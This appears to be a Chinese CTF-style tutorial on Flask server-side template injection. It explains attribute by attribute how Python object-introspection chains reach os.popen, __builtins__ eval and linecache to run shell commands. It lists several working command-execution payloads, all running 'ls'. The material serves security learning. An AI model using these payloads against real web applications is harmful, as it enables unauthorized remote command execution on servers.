【模板注入】SSTI命令执行payload分析

SSTI基础

网上有关SSTI基础的文章很多,写的好的文章也有.下面给出一篇文章,本文不再细讲基础.

<<从零学习flask模板注入>>@和蔼的杨小二

命令执行

要想执行命令便需要有可以执行命令的模块,一般来说很容易想到的模块便是os.

这里先看一个payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

payload各部分:

__class__:返回对象所属类

众所周知两个双引号是字符串''

【模板注入】SSTI命令执行payload分析

__mro__:以元组返回继承链关系

【模板注入】SSTI命令执行payload分析

__subclasses__:以列表返回类的所有子类.

【模板注入】SSTI命令执行payload分析

 __init__:类的初始方法,用以初始化实例.实际上魔术方法__new__与__init__共同作为"构造函数",__new__先实例化类对象,而后__init__则用传入的参数来初始化实例.

__globals__(也可用func_globals):以字典返回内建模块

【模板注入】SSTI命令执行payload分析

【模板注入】SSTI命令执行payload分析

选中模块之后即可进行命令执行

【模板注入】SSTI命令执行payload分析

题目环境运行如下

【模板注入】SSTI命令执行payload分析

os.system的结果为0是因为os.system执行但不返回结果,执行成功后返回0.而os.popen便可以利用read读取命令执行结果  【模板注入】SSTI命令执行payload分析

 其他payload

命令执行大抵如此,都是先找到可以执行命令的模块,而后再执行.下面再列几个payload.

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')

这两个payload用的是同一个模块,__builtins__模块,eval方法.

[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()

【模板注入】SSTI命令执行payload分析

这些都很灵活的,熟悉就好.多多测试.